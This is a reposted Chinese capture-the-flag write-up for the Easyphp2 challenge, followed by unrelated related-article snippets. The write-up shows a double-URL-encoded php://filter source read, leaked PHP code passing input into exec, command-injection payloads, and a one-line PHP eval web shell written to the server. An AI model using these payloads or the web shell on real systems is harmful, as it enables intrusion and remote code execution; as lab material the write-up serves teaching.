[羊城杯 2020]Easyphp2 ---不会编程的崽

摆烂一周了,继续更!!题目还是简单哦。

提示明显要我们修改数据包,第一反应是修改referer。试了一下不太对。url很可能存在文件包含

使用伪协议读取一下源码吧。它过滤了base64关键字。尝试url编码绕过,这里可以使用二次编码

php://filter/read=%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%35%25%36%45%25%36%33%25%36%46%25%36%34%25%36%35/resource=check.php

这里我把中间都url二次编码了

<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>count is here</title><style>html,body {overflow: none;max-height: 100vh;}</style>
</head><body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;"><center><img src="question.jpg" height="200" width="200" /> </center><?phpini_set('max_execution_time', 5);if ($_COOKIE['pass'] !== getenv('PASS')) {setcookie('pass', 'PASS');die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');}?><h1>A Counter is here, but it has someting wrong</h1><form><input type="hidden" value="GWHT.php" name="file"><textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br /><input type="submit"></form><?phpif (isset($_GET["count"])) {$count = $_GET["count"];if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){die('hacker!');}echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";}?></body></html>

 okk,也是知道在cookie里边修改。但是,getenv???环境变量吗?其实这里还有一个robots.txt

所有这里还能伪协议继续读取

php://filter/read=%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2565%256E%2563%256F%2564%2565/resource=check.php

 应该是要修改成这个!!!最开始不就提示了嘛,我这猪脑子。然后界面就变成了这个。根据上上边源码,这里就可以命令执行了

 过滤了 ;这是最重要的。

//代码在这
<?phpif (isset($_GET["count"])) {$count = $_GET["count"];if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){die('hacker!');}echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";}?>

开始绕过,我们重点关注这串代码

 exec('printf \'' . $count . '\' | wc -c')--去掉阔号和引号看看呢-->'printf \'' . $count . '\' | wc -c'--去引号-->printf ' . $count . ' | wc -c所有我们输入的count在执行命令时,被括号包起来了。只需要把单引号闭合即可

 &在数据包里要转换为%26。

'%26ls%26'

这样就能执行命令了

 

的确是回显了,因为exec只输出最后一行,所以它没显示完整。但是没关系,先找下flag位置

%27%26find+/+-name+flag*%26%27

 

在这个路径下呢。但是打开这个问年没回显。要么权限不够,要么过滤回显。这属于是权限不够。还是得写木马上蚁剑

'%26echo+"<?=@eval(\$_POST[cmd])?>">2.php%26'

注意了,$前边的\不能少,因为要取消$特殊含义。

图形化啥也没有。。。还是换命令行吧。输入env试试效果呢?

 喜出望外哦。其实不是这样的。GWHT目录下存在README文件,里边有密码,当前用户权限不够,需要切换用户。这里我也不知道,看的大佬的。

啊,你说这个明文密码怎么来的。害,那个README里边的md5值拿去碰撞以下就可以了。ok,到此结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/798788.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Android封装Java-WebSocket,开箱即食

前置条件&#xff0c;build.gradle引入依赖&#xff1a; implementation org.java-websocket:Java-WebSocket:1.4.0 封装websocket类&#xff1a; public class WsHelper {private static Option option new Option();public JWebSocketClient client;public Boolean ping_…

服务器的云备份和快照有哪些区别?

服务器的云备份和快照是两种常见的数据保护和恢复机制&#xff0c;它们有一些区别&#xff1a; 1. 云备份&#xff1a; 定义&#xff1a;云备份是将服务器上的数据定期备份到云存储中&#xff0c;以保护数据免受意外删除、数据损坏、病毒感染等风险。 特点&#xff1a; 备份数据…

Android 13 aosp hiddenapi config

Android 11 hiddenapi路径 frameworks/base/config/hiddenapi-greylist-packages.txtAndroid 13 hiddenapi路径 frameworks/base/boot/hiddenapi/hiddenapi-unsupported-packages.txt

c++STL list 简单模拟实现

分享一份cstl库list简单模拟实现。 如果能帮到你的话请点个免费的赞吧&#xff01;&#xff01;&#xff01;&#xff01;&#xff01; ​ #pragma once #include<assert.h>namespace my_list {template<class T>class ListNode {typedef ListNode<T> Node…

uniApp移动端安卓中使用webview打开pdf文件是下载而不是预览解决方案

关键 使用到 pdf.js 第一步&#xff1a; 下载pdf.js 文件到项目根目录 也就是这个文件 附下载地址&#xff1a;uni-app-pdf: 在uni-app中使用pdf.js实现在手机上打开pdf 也可通过其他方法下载 如npm 第二步&#xff1a; 拷贝hybrid文件到项目根目录 第三步&#xff1a;…

HarmonyOS实战开发-通过screenshot模块实现屏幕截图 。

介绍 本示例展示全屏截图和屏幕局部截图。 本示例通过screenshot模块实现屏幕截图 &#xff0c;通过window模块实现隐私窗口切换&#xff0c;通过display模块查询当前隐私窗口。 效果预览 使用说明&#xff1a; 点击右上角图标打开弹窗&#xff0c;选择截屏&#xff0c;展示…

AI智能电销机器人获客的方法

随着计算机和AI技术的发展&#xff0c;普通的电话营销已经逐步脱离人工操作的方法&#xff0c;转向电脑智能拨打。很多电销智能机器人已经达到让客户分辨不出真假人工的效果&#xff0c;电销智能机器人的获客价值有哪些&#xff1f;电销智能机器人的获客渠道包括哪些&#xff1…

stable-diffusion-webui安装教程

现在AI开始进入绘画领域,并且能自动根据文本来创建图片出来,这是一个划时代的进步。 这时候,我也不能落后,要紧跟上时代的步伐,那么也来学习一下stable-diffusion的使用,这样也算多一项对技术的认识,提高对AI的认知。 从网上看到很多stable-diffusion-webui的安装,其…

为什么苹果 Mac 电脑需要使用清理软件?

尽管 Apple Mac 电脑因其卓越的性能、简洁高效的 macOS 操作系统及独特的美学设计备受全球用户青睐&#xff0c;但任何电子设备在长期使用后都难以避免面临系统资源日渐累积的问题。其中一个重要维护需求在于&#xff0c;随着使用时间的增长&#xff0c;Mac电脑可能会由于系统垃…

element-ui 在Popover弹框中使用Select选择器,Vue3

bug描述&#xff1a; 当选择完select的时候,popover也会退出。 解决&#xff1a; popover组件的的关闭是当点击组件外的元素时会关闭&#xff0c;select虽然是写在组件内的&#xff0c;但是select有一个默认属性teleported“true” 会把它默认插到 body 元素&#xff0c;我…

html表单1:表单基础

表单 网页中的一个交互区域 form表单标签属性 action:选择将表单传递给谁处理 target:选择跳到那个页面(_self/_blank…) method:选择请求方式 input输入控件 type"text"表示为输入框 ,name属性中传入接收方规定的参数 value代表输入框中的默认值 maxlength…

强行让Java和Go对比一波[持续更新]

概述 很多Java开发如果想转Golang的话&#xff0c;比较让Java开发蛋疼的第一是语法&#xff0c;第二是一些思想和设计哲学的Gap&#xff0c;所以我这儿强行整理一波Java和Golang的对比&#xff0c;但是由于GO和Java在很多方面都有不同的设计&#xff0c;所以这些对比的项可以更…

Docker容器(五)Docker Compose

一、概述 1.1介绍 Docker Compose是Docker官方的开源项目&#xff0c;负责实现对Docker容器集群的快速编排。Compose 是 Docker 公司推出的一个工具软件&#xff0c;可以管理多个 Docker 容器组成一个应用。你需要定义一个 YAML 格式的配置文件docker-compose.yml&#xff0c;…

分布式主键ID生成策略

业务系统对分布式ID的要求 唯一性&#xff1a;在分布式系统中&#xff0c;每个节点都需要生成唯一的标识符来确保数据的唯一性。传统的单点生成ID方式无法满足分布式环境下的需求&#xff0c;而分布式ID能够在整个系统中保证每个节点生成的ID都是唯一的。 顺序性&#xff1a;某…

【Android】一文总结Android的init语言

&#x1f53a;导读&#xff1a; 1、在Android系统中&#xff0c;存在多个以xxx.rc形式命名的文件&#xff0c;这些文件可以理解成Android系统配置文件&#xff0c;在Android系统启动过程中&#xff0c;由init进程加载并解析&#xff0c;这些文件中的内容形成了Android的init语言…

hadoop streaming及hadoop官方文档

由于hadoop的map reduce框架计算性能已经比较老旧&#xff0c;有很多新的框架性能有很大提升&#xff0c;已经很少有基于相关api进行开发的项目&#xff0c;但hadoop streaming工具能帮助开发者兼容任何语言地运行自己的分布式程序&#xff0c;下面来简单介绍。 官方api文档地…

【C++】vector 释放,二维vector开辟 使用

文章目录 vector容器的内存释放释放方法 使用vector开辟一个二维数组开辟一段已知大小的二维vector使用一段已经开辟的二维vector开辟一段未知大小的二维vector vector容器的内存释放 首先对于数据量较小的vector容器&#xff0c;没有太多必要自己进行主动释放&#xff0c;小容…

Svg Flow Editor 原生svg流程图编辑器(五)

系列文章 Svg Flow Editor 原生svg流程图编辑器&#xff08;一&#xff09; Svg Flow Editor 原生svg流程图编辑器&#xff08;二&#xff09; Svg Flow Editor 原生svg流程图编辑器&#xff08;三&#xff09; Svg Flow Editor 原生svg流程图编辑器&#xff08;四&#xf…

使用tomcat里的API - servlet 写动态网页

一、创建一个新的Maven空项目 首次创建maven项目的时候&#xff0c;会自动从maven网站上下载一些依赖组件&#xff08;这个过程需要保证网络稳定&#xff0c;否则后续打包一些操作会出现一些问题&#xff09; ps:校园网可能会屏蔽一些网站&#xff0c;可能会导致maven的依赖…

FPGA + 图像处理(三)生成3x3像素矩阵

前言 生成NxN的像素矩阵是对图像进行各类滤波操作的基本前提&#xff0c;本文介绍一种通过bram生成3x3矩阵的方法。 程序 生成bram核 因为本文介绍的是基于bram生成的3x3像素矩阵&#xff0c;所以要先生成两个bram核&#xff0c;用于缓存前两行图像数据 在 IP catalog中选…